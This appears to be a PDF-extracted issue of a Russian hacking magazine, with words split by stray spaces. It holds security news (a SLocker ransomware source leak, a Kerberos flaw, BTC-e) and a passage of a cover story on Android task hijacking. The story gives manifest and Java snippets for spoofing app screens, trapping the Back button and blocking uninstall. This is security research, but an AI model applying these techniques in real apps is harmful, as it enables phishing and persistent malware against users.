это более лич ное, чем пер сональ ный компь ютер».

Те перь  нек то,  скры вающий ся  под  псев донимом  fs0c1ety,  опуб ликовал
на    исходные  коды  SLocker.  Как  показы вает  прак тика,  пос ле  утеч ки
исходных  кодов  любой  мал вари  сто ит  ожи дать  появ ления  десят ков  новых
угроз, осно ван ных на тех же исходни ках. Вряд ли SLocker ста нет исклю чени‐ 
ем, поэто му поль зовате лям Android рекомен дует ся удво ить бди тель ность.

GitHub

 →  похище но в этом году у крип товалют ных сер висов. Спе циалис ты ком пании
Chainalysis про вели ана лиз крип товалют ных ограбле ний за текущий год. В 2017 году пос редс‐ 
твом ICO было инвести рова но более 1,6 мил лиар да дол ларов в Ethereum‐экви вален те, но поч ти
десять  про цен тов  этой  сум мы,  то  есть  око ло  150  мил лионов  дол ларов,  осе ли  в  кар манах
мошен ников. Спе циалис ты полага ют, что от рук зло умыш ленни ков пос тра дали более 30 тысяч
инвесто ров,  каж дый  из  которых  потерял  око ло  7500  дол ларов.  Так же  для  похище ния  крип‐ 
товалю ты  активно  при меня ют  ста рый  доб рый фишинг,  экс пло иты,  а  порой  прес тупни ки  поп‐ 
росту  взла мыва ют  сво их  жертв.  Такие  методы  при нес ли  хакерам  еще  око ло  100  мил лионов
дол ларов. В резуль тате сум марные потери поль зовате лей оце нива ются в 225 мил лионов дол‐ 
ларов, а год еще далек от завер шения.

$225 000 000 

ДЫРА В SOURCE SDK
Спе циалист  ком пании  One  Up  Security  Джас тин  Тафт  (Justin  Taft)  обна‐ 
ружил занима тель ную уяз вимость в Valve Source SDK. Иссле дова тель пишет,
что  уяз вимость  в  движ ке  Source  зат рагива ла  такие  популяр ные  игры,
как Counter Strike: Global Offensive, Team Fortress 2, Left 4 dead 2, Potral 2.

Иг ры  на  движ ке  Source  исполь зуют  Source  SDK,  что бы  сто рон ние  ком‐ 
пании и незави симые раз работ чики мог ли соз давать собс твен ные модифи‐ 
кации.  К  тому  же  фай лы  карт  для  движ ка  Source  поз воля ют  раз работ чикам
добав лять кас томный кон тент (тек сту ры, ски ны, модели тру пов), который под‐ 
гру жает ся вмес те с кар той.

Проб лема сво дит ся к перепол нению буфера (buffer overflow), одна ко пос‐ 
редс твом  этой  уяз вимос ти  мож но  было  добить ся  и  выпол нения  про изволь‐ 
ного кода на кли ент ской или сер верной сто роне. В качес тве при мера экс плу‐ 
ата ции бага Тафт при водит сле дующий кейс: если соз дать кас томную модель
тру па,  которая  будет  заг ружать ся  пос ле  смер ти  игро вого  пер сонажа,  то
к этой модели мож но при вязать заг рузку про изволь ного вре донос ного кода.
То есть смерть игро ка пов лечет за собой выпол нение вре донос ных инс трук‐ 
ций.

Пред ста вите ли Valve устра нили проб лему еще в июне 2017 года, и теперь
раз работ чиков модов про сят обно вить Steam Source SDK до акту аль ной вер‐ 
сии.  Пока  Тафт  не  стал  обна родо вать  proof  of  concept  экс пло ита,  дав  раз‐ 
работ чикам боль ше вре мени на уста нов ку исправ ления.

Ис сле дова тель  совету ет  раз работ чикам  игр  и  модов  вклю чать  защиту
бинар ников  (ASLR)  и  раз мышля ет,  что,  веро ятно,  пол ностью  защитить ся
от подоб ных атак мож но, толь ко если Steam будет запус кать игры в изо лиро‐ 
ван ных  песоч ницах.  Так же  Тафт  совету ет  вре мен но  отклю чить  авто мати чес‐ 
кую  заг рузку  сто рон них  игро вых  ком понен тов,  по  край ней  мере  с  новых
и недове рен ных игро вых сер веров. 

 → «Я верю, что Bitcoin ждет боль шое будущее за пре дела ми дар кнет‐тран закций. Если хотите
при купить тра вы, исполь зуйте Dash или Zerocoin. Не Bitcoin. Наде юсь, наше решение поможет
сде лать эко сис тему Bitcoin чище и проз рачнее. Наде юсь, что наши кон курен ты прис луша ются
к нашему пос ланию и тоже зак роют свои сер висы. Очень ско ро подоб ная деятель ность будет
рас ценивать ся как незакон ная в боль шинс тве стран».

  решив шие  доб роволь но  зак рыть  свой
ресурс
—  адми нис тра торы  мик сер‐сер виса  BitMixer,

ЛИРА ОРФЕЯ
Ис сле дова тели из AuriStor и Two Sigma Investments обна ружи ли опас ную уяз‐ 
вимость  в  про токо ле  сетевой  аутен тифика ции  Kerberos,  которая  поз воляла
пол ностью  обой ти  всю  про цеду ру  аутен тифика ции.  Уяз вимость  получи ла
поэти чес кое наз вание Orpheus’  Lyre  («Лира Орфея»). В мифоло гии Апол лон
подарил  Орфею  золотую  лиру,  с  помощью  которой  мож но  было  при ручать
диких  живот ных,  дви гать  деревья  и  ска лы.  Зву ки  этой  лиры  спо соб ны  были
успо коить даже трех гла вого пса Цер бера, охра няв шего вход в царс тво мер‐ 
твых.

Ис сле дова тели пишут, что баг появил ся в Kerberos еще в 1996 году и зат‐ 
рагивал две из трех импле мен таций про токо ла: Heimdal Kerberos и Microsoft
Kerberos. Ори гиналь ного MIT Kerberos,  соз данно го  в  1983  году,  уяз вимость
не кос нулась.

Спе циалис ты  не  рас кры вают  всех  тех ничес ких  под робнос тей  работы
«Лиры Орфея»,  что бы дать  адми нис тра торам и  поль зовате лям боль ше  вре‐ 
мени на уста нов ку пат чей. Одна ко извес тно, что уяз вимость исполь зует часть
про токо ла, называ емую tickets. По сути, это сооб щения, которы ми обме нива‐ 
ются  узлы  сети,  они  нуж ны  для  аутен тифика ции  сер висов  и  поль зовате лей.
Во вре мя пересыл ки по сети не все час ти tickets шиф руют ся, и для осу щест‐ 
вле ния аутен тифика ции прог раммы на осно ве Kerberos, как пра вило, полага‐ 
ются на зашиф рован ные час ти tickets. Иссле дова тели наш ли спо соб, который
помога ет «усы пить Цер бера», то есть зас тавля ет Kerberos перей ти на исполь‐ 
зование час тей, сос тоящих из обыч ного незашиф рован ного тек ста.

Та ким  обра зом,  зло умыш ленник,  уже  ском про мети ровав ший  сеть
или  име ющий  воз можность  про вес ти  ата ку Man  in  the Middle,  может  перех‐ 
ватывать и модифи циро вать тек сто вую часть tickets для обхо да аутен тифика‐ 
ции.  Хотя  уяз вимость  тре бует  пред варитель ной  ком про мета ции  сис темы,
иссле дова тели  рас ценива ют  ее  как  кри тичес кую,  ведь  баг  поз воля ет  ата‐ 
кующе му повысить при виле гии и получить более глу бокий дос туп к сети.

Ис прав ление  для  «Лиры  Орфея»  вош ло  в  сос тав  июль ско го  «втор ника
обновле ний» Microsoft. Баг получил иден тифика тор CVE‐2017‐8495.

Так же  исправ ления  уже  выпус тили  раз работ‐ 
чики  Debian,  FreeBSD,  Fedora  и  Ubuntu  и  Samba,  исполь зующие  импле мен‐ 
тацию Heimdal Kerberos. В дан ном слу чае  уяз вимость име ет  иден тифика тор
CVE‐2017‐11103.

 →  уяз вимых перед ETERNALBLUE, обна ружил ска нер Eternal Blues. Сот‐ 
рудник  ком пании  Imperva Элад Эрез  соз дал  прос той  и  бес плат ный  инс тру мент  Eternal  Blues,
который  поз воля ет  про верить  компь ютер  на  уяз вимость  перед  экс пло итом  ETERNALBLUE,
и  поделил ся  обез личен ной  ста тис тикой  его  работы.  Поль зовате ли  уже  прос каниро вали
более 8 мил лионов адре сов, и  в 53,8% слу чаев на ска ниру емых  хос тах по‐преж нему акти вен
про токол  SMBv1,  который  не  рекомен дуют  исполь зовать  даже  раз работ чики  Microsoft.
При этом толь ко один из девяти про верен ных хос тов уяз вим перед ETERNALBLUE, то есть уяз‐ 
вимость демонс три руют поряд ка 50 тысячи машин (11% от обще го количес тва). Боль ше все го
уяз вимых хос тов замече но во Фран ции, Рос сии и Укра ине.

50 000 устрой ств,

ПРОБЛЕМЫ BTC‐E
25  июля  2017  года  в  офлайн  ушла  бир жа  BTC‐e.  Это  одна  из  круп ней ших
крип товалют ных бирж мира, осо бен но популяр ная в Рос сии.

Сна чала адми нис тра торы ресур са сооб щали в офи циаль ном твит тере, что
поводов  для  паники  нет  и  все  дело  в  про веде нии  незап ланиро ван ных  тех‐ 
ничес ких работ в дата‐цен тре. Но вско ре ста ло извес тно, что в этот же день
в Гре ции был арес тован граж данин Рос сии Алек сандр Вин ник. Хотя опе рато‐ 
ры BTC‐e всег да пред почита ли оста вать ся «за кад ром», поль зовате ли быс тро
сопос тавили  неожи дан ный  офлайн  бир жи  с  арес том  рос сияни на  в  Гре ции.
Как ока залось, не зря. Вин ник был одним из адми нис тра торов и вла дель цев
сер виса.  Длин ный  спи сок  предъ явля емых  ему  обви нений  поз же  был  опуб‐ 
ликован  на  сай те  Минис терс тва  юсти ции  США,  наряду  с  офи циаль ным
пресс‐релизом.

Офи циаль ное  заяв ление  пра воох ранитель ных  орга нов  США  гла сит,  что
Вин ник не толь ко руково дил прес тупной груп пой с 2011 года и отмыл через
BTC‐e более 4 мил лиар дов дол ларов в бит кой нах, но и был при час тен если
не  к  самому  ограбле нию  бир жи  Mt.  Gox,  то  как  минимум  к  отмы ванию
похищен ных  средств.  Напом ним,  что  быв ший  гла ва Mt.  Gox Марк  Кар пелес
(Mark Karpeles) еще в 2015 году был арес тован в Токио и до сих пор находит‐ 
ся под следс тви ем. Его подоз рева ют в кра же средств поль зовате лей.

В  офи циаль ном  пресс‐релизе  Минюс та  США  ска зано,  что  Вин ник  при‐ 
нимал непос редс твен ное учас тие в отмы вании похищен ных у поль зовате лей
Mt.  Gox  средств,  которые  в  ито ге  были  про пуще ны  через  обменник  BTC‐e
и уже не работа ющий ныне обменник Tradehill.

Сог ласно заяв лени ям Минюс та, в нас тоящее вре мя Вин ник ожи дает экс‐ 
тра диции в США. Его обви няют в ведении биз неса по ока занию финан совых
услуг  без  над лежаще го  лицен зирова ния,  мно жес тве  эпи зодов  отмы вания
денег, прес тупном сго воре с целью отмы вания денег,  учас тии в незакон ных
денеж ных  опе раци ях.  Пред ста вите ли  ФБР  говорят,  что  арест  Вин ника  стал
резуль татом дол гой и ско орди ниро ван ной работы пра воох ранитель ных орга‐ 
нов США и дру гих стран.

Ос тавши еся на сво боде пред ста вите ли BTC‐e тем не менее про дол жили
под держи вать  связь  с  поль зовате лями  через  офи циаль ный  Twitter‐акка унт
и  форумы  Bitcointalk.  Хотя  изна чаль но  пла ниро валось,  что  BTC‐e  «вер нется
в  строй»  в  течение  нес коль ких  недель,  вско ре  ста ло  понят но,  что  этот  про‐ 
цесс затянет ся: влас ти кон фиско вали у обменни ка домен, к тому же переда ча
управле ния  ресур сом  новой  адми нис тра ции  про ходи ла  небыс тро.  В  ито ге
опе рато ры BTC‐e выс тупили со сле дующим заяв лени ем.

«Если сер вис не будет запущен до кон ца августа, то с 1 сен тября мы
запус тим  про цесс  воз вра та  средств.  В  бли жай шие  одну‑две  недели
мы  оце ним  и  опуб лику ем  информа цию  о  том,  какое  количес тво
средств попало в руки ФБР и какая сум ма средств дос тупна для воз- 
вра та. Для всех, кто нас похоро нил, напом ним: сер вис всег да работал
на доверии, и мы за это готовы отве чать. Средс тва будут воз вра щены
всем!»

По поводу арес та Вин ника руково дите ли BTC‐e сооб щили сле дующее: «Офи‐ 
циаль но заяв ляем — Алек сандр никог да не был руково дите лем или сот рудни‐ 
ком нашего сер виса».

 → «Я не раз давал интервью, в которых озву чивал свои опа сения отно ситель но сбо ра дан ных
и  прак тик  тар гетиро вания  рек ламы,  чем,  в  час тнос ти,  занима ются  Google  и  Facebook.  Они
собира ют и агре гиру ют слиш ком мно го информа ции о сво их поль зовате лях. Мне это пред став‐ 
ляет ся огромной проб лемой, ста вящей под угро зу демок ратию, так как обширные воз можнос ти
тар гетин га,  пред лага емые Google  и  Facebook,  хороши  не  толь ко  для  целевой  рек ламы,  но  и
для  спе циали зиро ван ной  про паган ды.  А  идея  интерне та,  который  прев раща ется  в  про паган‐ 
дист ское поле боя, очень далека от иде ала».

  соос нователь  ком пании  Opera  Software,  а  ныне  раз работ чик  бра узе ра
Vivaldi 
— Йон фон  Теч нер,
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https://github.com/fs0c1ety/SLocker
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Как  ты  дума ешь,  мож но  ли  под менить  любое  при ложе ние
на  устрой стве  с  Android,  не  имея  рутовых  при виле гий,
без  спе циаль ных  раз решений  и  абсо лют но  проз рачно
для  поль зовате ля?  А  отпра вить  потом  всю  эту  кра соту
в Google Play? Ока зыва ется, мож но! В Android API для все го
это го  есть  легаль ные  спо собы  —  нуж но  толь ко  знать,
как исполь зовать без вред ные методы в сво их целях (конеч‐ 
но же, иссле дова тель ских). Что же это — баг или фича? Поп‐ 
робу ем разоб рать ся.

ПЕРВОНАЧАЛЬНОЕ ИССЛЕДОВАНИЕ
Пер вое упо мина ние об этой уяз вимос ти было опуб ликова но еще в 2015 году
на  кон ферен ции  ,  но,  к  сожале нию,
не получи ло широкой огласки и не прив лекло к себе дол жно го вни мания. Ког‐ 
да мы озна коми лись с  , пер вой мыслью было «Да
лад но, не может это так работать, это уж слиш ком. Два года прош ло, уже зак‐ 
рыли дав но, навер ное». Реаль ность ока залась страш на.

USENIX  Security  Symposium  2015

ма тери ала ми иссле дова ния

Ма ло того, что все опи сан ное в статье работа ет до сих пор, — появи лась
еще  одна,  обна ружен ная  нами,  уяз вимость,  которая  дела ет  экс плу ата цию
нам ного лег че и про ще. В статье мы при ведем адап тирован ную информа цию
из  док лада,  рас ска жем  про  обна ружен ную  нами  уяз вимость  и  поп робу ем
разоб рать ся, как мож но защитить ся от подоб ных атак.

НЕМНОГО ТЕОРИИ
Ес ли ты про фес сиональ ный Android‐раз работ чик, вно сишь прав ки в исходный
код Android или пач ками репор тишь баги, можешь сме ло про пус тить этот раз‐ 
дел  и  перехо дить  к  основной  час ти.  В  про тив ном  слу чае  нем ного  осве жим
память  и  рас смот рим,  как  устро ено  управле ние  задача ми  и  основные  эле‐ 
мен ты, которые нам пот ребу ются в даль нейшем в сис теме Android.

Ос новной  ком понент,  с  которым  вза имо дей ству ет  поль зователь
при  работе  с  при ложе нием, —  это  Activity.  Каж дая  Activity —  это  отдель ный
гра фичес кий экран со сво ими эле мен тами, имен но их и видит поль зователь.
Каж дое при ложе ние име ет нес коль ко Activity для раз личных дей ствий, то есть
каж дый  новый  экран  —  это  отдель ная  Activity.  Все  они  опи саны  в  фай ле
манифес та при ложе ния.

Все  Activity,  которые  про шел  поль зователь  за  вре мя  работы  с  при ложе‐ 
нием, рас полага ются  внут ри сущ ности,  называ емой Task. Activity  в  Task  хра‐ 
нят ся  в  виде  стро гой  пос ледова тель нос ти  (сте ка),  называ емой  back  stack.
При  откры тии  каж дого  нового  экра на  соз дает ся  новый  экзем пляр  Activity
и  рас полага ется  сис темой  на  вер хушке  это го  сте ка.  Таким  обра зом,
при нажатии на кноп ку «Назад» Activity, которая была навер ху сте ка, зак рыва‐ 
ется  (унич тожа ется)  и  отоб ража ется  Activity,  которая  была  под  ней.  Отсю да
и наз вание — back stack.

Activity и back stack

Activity,  которую  поль зователь  видит  на  экра не  устрой ства,  находит ся
на перед нем пла не и называ ется Foreground Activity, а  таск, внут ри которо го
находит ся эта Activity, — Foreground Task. В один момент вре мени в сис теме
может быть толь ко один Foreground Task и Foreground Activity, все осталь ные
выпол няют ся на зад нем пла не, то есть в Background. При перехо де на зад ний
план  Task  ста новит ся  неак тивным,  сос тояние  его  back  stack  сох раня ется
в  неиз менном  виде.  Таким  обра зом,  ког да  поль зователь  сно ва  вер нется
в  при ложе ние,  сос тояние  оста нет ся  тем  же,  и  он  смо жет  воз вра щать ся
к экра нам в том поряд ке, в каком их откры вал.

Activity внут ри back stack могут отно сить ся не толь ко к запущен ному при‐ 
ложе нию,  но  и  к  сто рон ним  при ложе ниям.  Всем  извес тна  ситу ация,  ког да
из  одно го  при ложе ния  мы  можем  открыть,  к  при меру,  галерею  и  выб рать
новую  фотог рафию  на  ава тар ку.  Для  раз работ чика  при ложе ния  нет  необ‐ 
ходимос ти  самому  реали зовы вать  фун кцию  выбора  и  пред варитель ного
прос мотра  изоб ражения,  для  это го  дос таточ но  выз вать  Activity  из  нуж ного
при ложе ния (или пре дос тавить выбор при ложе ния поль зовате лю).

Та ким  обра зом,  при  вызове фун кции  сто рон ней  прог раммы  в  back  stack
помеща ется ее Activity, и при нажатии на кноп ку Back поль зователь вер нется
к  при ложе нию,  с  которым  работал  ранее.  Это  сде лано  для  бес шовной
интегра ции,  что бы  соз давалось  ощу щение  работы  с  еди ным  при ложе нием
и  не  было  необ ходимос ти  перек лючать ся  меж ду  прог рамма ми  для  выпол‐ 
нения одно разо вых опе раций.

За пуск Activity сто рон него при ложе ния

Важ ный  атри бут    харак теризу ет,  к  какому  тас ку  дол жна  при‐ 
соеди нить ся  Activity  при  запус ке.  Он  пред став ляет  собой  стро ку,  которая
либо  опре деля ется  в  манифес те  при ложе ния  свой ством 

, либо по умол чанию рав на ID при ложе ния в сис теме (
). Affinity тас ка опре деля ется зна чени ем taskAffinity его root Activity (ниж ней

в сте ке). Если явно ука зывать зна чение taskAffinity, то мож но зас тавить запус‐ 
кать ся  Activity  в  рам ках  про изволь ного  тас ка.  Таким  обра зом,  каж дое  при‐ 
ложе ние может породить про изволь ное количес тво тас ков.
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Тех ника  под мены  при ложе ний  работа ет  во  всех
вер сиях  сис темы,  исправ лений  нет  до  сих  пор.
Матери ал  адpесо ван  спе циалис там  по  безопас‐ 
ности  и  тем,  кто  собираeтся  ими  стать.  Вся
информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный матери ала ми дан ной статьи.

ВОЗВРАЩАЕМСЯ ВО ВРЕДОНОСНОЕ ПРИЛОЖЕНИЕ
За заг рузку Activity в Android отве чает Activity Manager Service (AMS). Сущес‐ 
тву ет нес коль ко спо собов запус тить Activity в новом тас ке:

оп ределить    в  манифес те  при ложе ния
у необ ходимой Activity;

• launchMode="singleTask"

при запус ке Activity ука зать FLAG_ACTIVITY_NEW_TASK.•

Вот что про исхо дит в сис теме, ког да ты нажима ешь на зна чок при ложе ния.
Ес ли  экзем пляр  Activity  уже  сущес тву ет,  то  AMS  находит  его  и  выводит
на перед ний план, а не запус кает новый.

•

Ес ли тре бует ся соз дание Activity,  то AMS выбира ет Task, в который необ‐ 
ходимо  «положить»  соз данную  Activity.  Для  это го  AMS  пыта ется  най ти
«сов пада ющий» Task. Activity  «сов пада ет» c Task, если у них  ука зано оди‐ 
нако вое  свой ство  taskAffinity.  Если  най дено  сов падение,  сер вис  кла дет
новую Activity на вер хушку сте ка в выб ранный Task.

•

Ес ли же сов падений не най дено, сер вис соз дает Task, и новая Activity ста‐ 
новит ся root Activity.

•

Те перь, обла дая тай ными зна ниями, поп робу ем зас тавить сис тему перемес‐ 
тить  запус каемую  Activity  на  стек  условно  вре донос ного  при ложе ния.  Пред‐ 
положим,  что мы  хотим  ата ковать  при ложе ние  TargetApp  и  в  чис ле  его  воз‐ 
можнос тей  есть  прос мотр  видео  при  помощи  при ложе ния  PlayerApp  (либо
поль зователь  выбира ет  это  при ложе ние  для  прос мотра  из  выпада юще го
спис ка). При этом в интенте, который запус кает Activity сто рон него при ложе‐ 
ния,  при сутс тву ет    или  в  сто рон ней  Activity  объ‐ 
явлен  ,  то  есть  задан ная  фун кция  запус кает ся
в отдель ном тас ке.

FLAG_ACTIVITY\_NEW\_TASK

launchMode="singleTask"

Intent intent = new Intent(Intent.ACTION_VIEW, introUri);

intent.setDataAndType(introUri, "video/mp4");

intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

startActivity(intent);

Так же на устрой стве находит ся вре донос ное при ложе ние (Malware), которое,
помимо того что выпол няет впол не легитим ные фун кции, при запус ке или при
вклю чении  устрой ства  соз дает  в  сис теме  Background  Task
с  .taskAffinity="PlayerApp"

Вот как выг лядит наш  :AndroidManifest.xml

<activity

   android:name=".MainActivity"

   android:taskAffinity="com.player.app"

   android:exported="true"

   android:excludeFromRecents="true"

</activity>

А вот  :MainActivity.java

@Override

protected void onCreate(Bundle savedInstanceState) {

   super.onCreate(savedInstanceState);

   if(savedInstanceState == null) {

       moveTaskToBack(true);

   } else {

       initUi();

   }

}

За пус каем  TargetApp  и  выбира ем  прос мотр  видео.  Поп робу ем  пошаго во
прос ледить, что про изой дет.

Воз вра щаем ся во вре донос ное при ложе ние

1. Activity  Manager  Service  понима ет,  что  ему  нуж но  запус тить  Activity  при‐ 
ложе ния PlayerApp.

2. За пущен ного  экзем пля ра  такой  Activity  нет  в  сис теме,  перехо дим  к  сле‐ 
дующе му шагу.

3. Пы таем ся  най ти  в  сис теме  Task  с  соот ветс тву ющим  taskAffinity.  AMS
находит наш запущен ный вре донос ный Task и, сле дуя сво ей логике, запус‐ 
кает Activity пле ера, помеща ет ее на вер хушку сте ка и выводит на перед‐ 
ний план.

Та ким  обра зом,  запущен ная  Activity  при ложе ния  PlayerApp  ока зыва ется
на  вер хушке  сте ка  условно  вре донос ного  Task.  Пос ле  прос мотра  виде оро‐ 
лика  поль зователь  нажима ет  Back,  сис тема  унич тожа ет  вер хнюю  Activity
и выводит на перед ний план лежащую под ней (Mal‐Activity 2). Поль зователь
ока зыва ется  во  вре донос ном  при ложе нии,  которое,  в  свою  оче редь,  может
ими тиро вать интерфейс при ложе ния TargetApp.

ПОДМЕНЯЕМ ПРИЛОЖЕНИЕ ПРИ ЗАПУСКЕ
Опи сан ный  выше  спо соб  име ет  свои  недос татки:  необ ходимо,  что бы

,  реали зуемая  сто рон ними  при ложе ниями,  обя затель но
запус калась  в  новом  Task,  либо  в  при ложе нии,  которое  мы  ука зыва ем
как  taskAffinity  для  вре донос ной  задачи,  либо  при  запус ке  из  при ложе ния,
которое мы ата куем. А вот бы сде лать так, что бы сра зу запус кать вре донос‐ 
ное при ложе ние и вооб ще не зависеть от реали зации ата куемо го при ложе‐ 
ния. Не воп рос! Офи циаль ный Android API поз волит нам сде лать и это.

функциональность

По  умол чанию,  как  толь ко Activity  запус кает ся  и  ассо циирует ся  с  тас ком,
эта связь сох раня ется на всем про тяже нии жиз ненно го цик ла Activity. Одна ко
Android API поз воля ет ука зать вмес те с taskAffinity свой ство 

 таким обра зом, что при появ лении в сис теме Task с ана логич ным ука‐ 
зан ному  taskAffinity  эта  Activity  сра зу  переме щает ся  на  вер хушку  его  back
stack.  Пока  в  сис теме  не  будет  зарегис три рован  такой  Task,  Activity  будет
запус кать ся  в  рам ках  сво его  при ложе ния.  Выг лядит  очень  инте рес но,  поп‐ 
робу ем   разоб рать ся.

allowTaskRepar‐

enting

про экс плу ати ровать

Под мена при помощи allowTaskReparenting

Итак,  в  сис теме,  в  Background,  запущен  вре донос ный  Task,  в  его  сте ке
находят ся root Activity (Mal‐Activity 1) и Mal‐Activity 2, ими тиру ющая интерфейс
при ложе ния, которое хотим под менить. Так же при опи сании Mal‐Activity 2 ука‐ 
заны  парамет ры  taskAffinity  под меня емо го  при ложе ния  и 

.
allowTaskRepar‐

enting

<activity

   android:name=".Mal‐Activity 2"

   android:taskAffinity="com.target.app"

   android:exported="true"

   android:allowTaskReparenting="true"

   android:excludeFromRecents="true"

</activity>

Все при ложе ния, которые запус кают ся из лаун чера, име ют флаг 
,  то  есть  в  новом  тас ке.  Поль зователь  хочет  открыть  свое

любимое  при ложе ние,  нажима ет  на  икон ку.  Так  как  запущен ного  тас ка
с таким taskAffinity в сис теме нет, он соз дает новый Task и запус кает в нем Ac‐
tivity.  В  это  же  вре мя  сис тема  регис три рует  появ ление  Task  с  taskAffinity,
который ука зан в Mal‐Activity 2, и, в соот ветс твии с ожи даемым поведе нием,
помеща ет  вре донос ную  Activity  на  вер хушку  сте ка  и  перево дит  ее  в  Fore‐
ground.  Дело  сде лано,  вмес то  исходной  Activity  поль зователь  видит  вре‐ 
донос ную. Для него это абсо лют но проз рачно: нажима ем икон ку — заг ружа‐ 
ется при ложе ние со  зна комым интерфей сом. Activity  из ори гиналь ного при‐ 
ложе ния поль зователь не видит вооб ще.

FLAG_ACTIV‐

ITY\_NEW\_TASK

ПОДМЕНЯЕМ ПРИЛОЖЕНИЕ ПРИ ЗАПУСКЕ. ВЕРСИЯ 2
В  опи сан ном  слу чае  есть  инте рес ный  нюанс:  если  поль зователь,  находясь
на под менен ном экра не, наж мет Back, сис тема зак роет вре донос ную Activity
и  поль зователь  уви дит  экран  обыч ного  при ложе ния. Мож но  ли  как‐то  это го
избе жать  и  кон тро лиро вать  не  толь ко  запус каемую  Activity,  но  и  Task,
в  котором  она  запуще на?  Боль ше  влас ти  никог да  не  пов редит,  давай  раз‐ 
бирать ся.

Что дол жно про изой ти при нажатии на икон ку при ложе ния в Launcher, если
Task  с  таким  taskAffinity  уже  сущес тву ет  в  сис теме?  «Да  все  прос то,  мы  же
говори ли  об  этом  выше,  AMS  дол жен  будет  запус тить  экзем пляр  Activity
и помес тить на вер хушку сте ка выб ранно го Task», — ска жешь ты. А вот и нет,
из‐за бага в Android, который нем ного наруша ет логику работу AMS, поведе‐ 
ние будет нес коль ко иным.

Под мена при ложе ния при ука зании толь ко taskAffinity

Как и в пре дыду щих слу чаях, на устрой стве в Background запущен таск с task‐
Affinity  при ложе ния,  которое мы  хотим  под менить.  При  этом  боль ше  ничего
допол нитель но ука зывать не нуж но, AMS все сде лает за нас.

<activity

   android:name=".Mal‐Activity 1"

   android:taskAffinity="com.target.app"

   android:exported="true"

   android:excludeFromRecents="true"

</activity>

В этом слу чае при нажатии на икон ку под меня емо го при ложе ния AMS прос то
выведет на Foreground Task с ука зан ным taskAffinity. То есть Activity под меня‐ 
емо го  при ложе ния  вооб ще не будет  запуще на. Для  поль зовате ля опять  все
абсо лют но проз рачно: нажал на при ложе ние, оно запус тилось, выг лядит при‐ 
выч но. Но  теперь мы пол ностью  кон тро лиру ем всё — и Task,  и Activity. Пов‐ 
торный запуск опять отпра вит поль зовате ля во вре донос ное при ложе ние.

Продолжение статьи →
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ANDROID TASK HIJACKING:
РАЗБИРАЕМ АКТУАЛЬНУЮ ТЕХНИКУ

ПОДМЕНЫ ПРИЛОЖЕНИЙ
В ANDROID

COVERSTORY  НАЧАЛО СТАТЬИ←

ВКЛЮЧАЕМ СОЦИАЛЬНУЮ ИНЖЕНЕРИЮ
В Android есть воз можность давать поль зовате лю самому выб рать при ложе‐ 
ние, которое будет выпол нять ту или иную фун кцию. Выг лядит это как всплы‐ 
вающий спи сок ико нок при ложе ний с наз вани ями и реали зует ся при помощи
неяв ных интентов. Поп робу ем исполь зовать это в сво их целях. У это го под‐ 
хода  есть  осо бен ность:  нам  нуж но  будет  зас тавить  поль зовате ля  выб рать
наше при ложе ние.

Для  раз нооб разия  будем  ата ковать  фун кцию  прос мотра  PDF.
Для успешной реали зации, а вер нее для боль шего прав доподо бия наше вре‐ 
донос ное  при ложе ние может  дей стви тель но  иметь  воз можность  прос мотра
PDF. Реали зуем это в отдель ной экспор тиру емой Activity, которая на вид будет
соот ветс тво вать сти лю ата куемо го при ложе ния. Наз вание и зна чок тоже сде‐ 
лаем  поч ти  иден тичны ми.  В  общем,  поп робу ем  убе дить  поль зовате ля,  что
в  при ложе нии  есть  такая  фун кция,  прос то  реали зова на  она  нем ного  неп‐ 
ривыч ным спо собом.

Под мена с исполь зовани ем неяв ного Intent

Поль зователь  работа ет  с  при ложе нием,  выбира ет  PDF,  собира ется  его
открыть. Если выбор при ложе ния для прос мотра сде лан с помощью неяв ного
интента,  поль зовате лю  будут  пред ложены  на  выбор  прог раммы,  которые
могут обра баты вать фай лы такого типа. Сре ди них‐то и будет пря тать ся мал‐ 
варь, икон ка которой ну очень похожа на икон ку того при ложе ния, которое он
сей час исполь зует. Наз вание тоже не дол жно вызывать подоз рений.

От лично,  мы  зас тавили  поль зовате ля  выб рать  наше  при ложе ние.  AMS
запус кает  вре донос ную  Activity  и  кла дет  на  вер хушку  сте ка  ата куемо го  при‐ 
ложе ния. Пос ле работы с докумен том поль зователь нажима ет на кноп ку Back,
что бы  вер нуть ся  обратно  в  при ложе ние,  но  мы  не  даем  ему  это  сде лать.
Пере опре делим  метод  ,  который  отве чает  за  обра бот ку
нажатия на Back. Перепи шем его таким обра зом, что бы перенап равить поль‐ 
зовате ля  во  вре донос ное  при ложе ние  и  вывес ти  его  экран  на  Foreground.
Готово, ловуш ка защел кну лась!

onBackPressed()

ЗАЩИЩАЕМСЯ ОТ УДАЛЕНИЯ
Те перь  нуж но  как‐то  зак репить ся  в  сис теме.  Пер вое,  что  при ходит
в  голову, — это при менить  тот же  самый прин цип,  что бы  защитить мал варь
от  уда ления. Ведь  ког да мы  заходим в  нас трой ки Android или на  экран  уда‐ 
ления при ложе ний, мы прос то запус каем отдель ные сис темные при ложе ния
со  сво им  taskAffinity,  которые  ничем  не  отли чают ся  от  осталь ных,  раз ве  что
иног да  выпол няют ся  с  боль шими при виле гиями. Ска зано — сде лано,  прис‐ 
тупа ем!

За щита от уда ления

По ста рой памяти запус каем в Background Task с taskAffinity при ложе ния нас‐ 
тро ек.  В  одном  слу чае  из‐за  дефек та  с  недоку мен тирован ным  поведе нием
AMS при ложе ние нас тро ек прос то не запус тится. Такой вари ант совер шенно
не инте ресен — рано или поз дно поведе ние AMS при дет в нор му. Рас смот‐ 
рим луч ше слу чай, ког да сер вис работа ет как положе но.

Итак, все работа ет как и дол жно, а в Background ждет сво его часа условно
вре донос ный  Task.  Запус каем при ложе ние  нас тро ек.  AMS  запус кает  Activity,
находит  наш  Task  и  кла дет  его  на  вер хушку  сте ка.  Теперь  нас трой ки  живут
в тас ке, который мы кон тро лиру ем. Поль зователь перехо дит по экра нам, заг‐ 
лядыва ет в уда ление при ложе ний, видит там злов реда и нажима ет на кноп ку
«Уда лить».

Пос ле нажатия Android показы вает диало говое окно,  которое пред лага ет
под твер дить  намере ние  уда лить  при ложе ние.  Это  диало говое  окно  не  что
иное, как оче ред ная Activity, которую мы можем перек рыть сво ей, как толь ко
она появит ся внут ри нашего тас ка. Дела ем похожий экран с неак тивной кноп‐ 
